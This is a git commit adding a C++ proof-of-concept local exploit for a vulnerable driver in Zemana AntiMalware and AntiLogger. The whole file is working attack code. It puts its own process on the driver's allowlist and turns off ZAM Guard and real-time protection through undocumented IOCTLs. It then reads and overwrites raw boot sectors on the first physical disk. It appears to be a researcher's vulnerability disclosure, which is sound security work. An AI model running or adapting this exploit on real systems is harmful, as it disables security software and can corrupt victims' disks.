added SCSI RW poc

This commit is contained in:
Paolo 'VoidSec' Stagno
2023-06-13 16:42:42 +02:00
parent 01eeb4791f
commit 2174cc4877
2 changed files with 184 additions and 0 deletions
@@ -0,0 +1,184 @@
/*
Exploit title: Zemana AntiMalware v.3.2.28 & Zemana AntiLogger v.2.74.204.664 - Arbitrary SCSI Disk Read/Write
Exploit Author: Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
Date: 12/06/2023
Vendor Homepage: https://zemana.com/
Download: https://zemana.com/downloads/Zemana.AntiMalware.Setup.exe
https://zemana.com/downloads/Zemana.AntiLogger.Setup.exe
Affected Version: Zemana AntiMalware v. <= 3.2.28
Zemana AntiLogger v. <= 2.74.204.664
CVE: CVE-2023-XXXX
Tested on: Windows 11 Pro x64 v.22621.1778
Category: local exploit
Platform: windows
Usage: Compile and run this exploit on a machine where a vulnerable version of Zemana AntiMalware/AntiLogger is installed to verify the SCSI Disk Read/Write capability
*/
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <iomanip>
#include <string>
void PrintBanner(void) {
std::cout << "+---------------------------------------------------------------------------------------------------+" << std::endl;
std::cout << "| CVE-2023-XXXX: Zemana AntiMalware/AntiLogger SCSI Disk Read/Write by VoidSec |" << std::endl;
std::cout << "+---------------------------------------------------------------------------------------------------+\n" << std::endl;
}
std::ostream& hex_dump(std::ostream& os, const void* buffer, std::size_t bufsize, bool showPrintableChars = true)
{
if (buffer == nullptr) {
return os;
}
auto oldFormat = os.flags();
auto oldFillChar = os.fill();
constexpr std::size_t maxline{16};
// create a place to store text version of string
char renderString[maxline + 1];
char* rsptr{ renderString };
// convenience cast
const unsigned char* buf{ reinterpret_cast<const unsigned char*>(buffer) };
for (std::size_t linecount = maxline; bufsize; --bufsize, ++buf) {
os << std::setw(2) << std::setfill('0') << std::hex
<< static_cast<unsigned>(*buf) << ' ';
*rsptr++ = std::isprint(*buf) ? *buf : '.';
if (--linecount == 0) {
*rsptr++ = '\0'; // terminate string
if (showPrintableChars) {
os << " | " << renderString;
}
os << '\n';
rsptr = renderString;
linecount = (std::min)(maxline, bufsize);
}
}
// emit newline if we haven't already
if (rsptr != renderString) {
if (showPrintableChars) {
for (*rsptr++ = '\0'; rsptr != &renderString[maxline + 1]; ++rsptr) {
os << " ";
}
os << " | " << renderString;
}
os << '\n';
}
os.fill(oldFillChar);
os.flags(oldFormat);
return os;
}
typedef struct _SCSI_buffer {
// PhysicalDrive[i]
ULONG32 DiskNumber;
UCHAR Pad;
// SCSI_REQUEST_BLOCK https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/srb/ns-srb-_scsi_request_block
UCHAR PathId;
UCHAR TargetId;
UCHAR Lun;
ULONG32 OffsetHigh; // OffsetHigh must be 0
ULONG32 OffsetLow; // OffsetLow is the sector LBA.
ULONG32 Length; // Truncated when written to the SCSI CDB
ULONG32 Count; // DataTransferLength = Length * Count;
} SCSI_ACCESS, * PSCSI_ACCESS;
BOOL SCSI_RW(
_In_ HANDLE DeviceHandle,
_In_ ULONG32 PhysicalDriveNumber, // PhysicalDrive[i]
_In_ ULONG32 LogicalBlock, // LBA
_In_ PVOID buffer, // store data read from disk
_In_ BOOL write_flag // if true, write to disk
) {
CHAR SCSI_buffer[1024];
PSCSI_ACCESS Zemana_SCSI_buffer;
BOOL success;
Zemana_SCSI_buffer = (PSCSI_ACCESS)&SCSI_buffer;
Zemana_SCSI_buffer->DiskNumber = PhysicalDriveNumber;
Zemana_SCSI_buffer->PathId = 0;
Zemana_SCSI_buffer->TargetId = 0;
Zemana_SCSI_buffer->Lun = 0;
Zemana_SCSI_buffer->OffsetHigh = 0;
Zemana_SCSI_buffer->OffsetLow = LogicalBlock;
Zemana_SCSI_buffer->Length = 1;
Zemana_SCSI_buffer->Count = 512;
if (write_flag) {
// WRITE
memcpy((void*)((char*)Zemana_SCSI_buffer + 512), buffer, 512);
success = DeviceIoControl(DeviceHandle, 0x80002018, Zemana_SCSI_buffer, 1024, Zemana_SCSI_buffer, 1024, NULL, NULL);
return success;
}
else {
// READ
success = DeviceIoControl(DeviceHandle, 0x80002014, Zemana_SCSI_buffer, sizeof(SCSI_ACCESS), buffer, 512, NULL, NULL);
return success;
}
}
int main(int argc, char** argv) {
HANDLE hDevice = 0;
int exploit_pid = 0;
CHAR lpInBuffer[512] = { 0 };
BOOL success = 0, disable_zam = 0, disable_rt = 0, result = 0;
std::cout << "[-] Retrieving a handle to the Zemana device driver" << std::endl;
hDevice = CreateFile("\\\\.\\ZemanaAntiMalware", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hDevice) {
std::cout << "\t[!] Failed to get a handle to the Zemana device driver. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "\t[+] ZemanaAntiMalware HANDLE: 0x" << std::hex << hDevice << std::endl;
std::cout << "[-] Adding exploit's process to the allowlist" << std::endl;
exploit_pid = GetCurrentProcessId();
if (!exploit_pid) {
std::cout << "\t[!] Failed to get exploit's process PID. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "\t[+] Exploit process' PID: " << exploit_pid << std::endl;
success = DeviceIoControl(hDevice, 0x80002010, &exploit_pid, sizeof(exploit_pid), NULL, 0, NULL, NULL);
if (!success) {
std::cout << "\t[!] Failed to add exploit's process to the allowlist. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "\t[+] Exploit process' added to the allowlist" << std::endl;
std::cout << "[-] Disabling ZAM Guard and Real-Time Protection" << std::endl;
disable_zam = DeviceIoControl(hDevice, 0x80002064, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL);
disable_rt = DeviceIoControl(hDevice, 0x80002090, NULL, sizeof(exploit_pid), NULL, 0, NULL, NULL);
if (!disable_zam || !disable_rt) {
std::cout << "\t[!] Failed to disable ZAM Guard or Real-Time Protection" << std::endl;
}
std::cout << "\t[+] Disabled ZAM Guard and Real-Time Protection" << std::endl;
std::cout << "[-] SCSI Disk Read" << std::endl;
success = SCSI_RW(hDevice, 0, 0, lpInBuffer, FALSE);
if (!success) {
std::cout << "\t[!] Failed to read from SCSI disk. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "\t[+] Disk ID: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
std::cout << "\t[+]SCSI disk dump" << std::endl;
hex_dump(std::cout, lpInBuffer, sizeof(lpInBuffer));
std::cout << "\n[-] SCSI Disk Write" << std::endl;
std::cout << "\t[-] Incrementing Disk ID" << std::endl;
(*(ULONG32*)(lpInBuffer + 440))++;
success = SCSI_RW(hDevice, 0, 0, lpInBuffer, TRUE);
if (!success) {
std::cout << "\t[!] Failed to write to SCSI disk. Error code: " << ::GetLastError() << std::endl;
return -1;
}
std::cout << "\t[+] SCSI Write successful! Disk ID is now: 0x" << *(ULONG32*)(lpInBuffer + 440) << std::endl;
CloseHandle(hDevice);
return 0;
}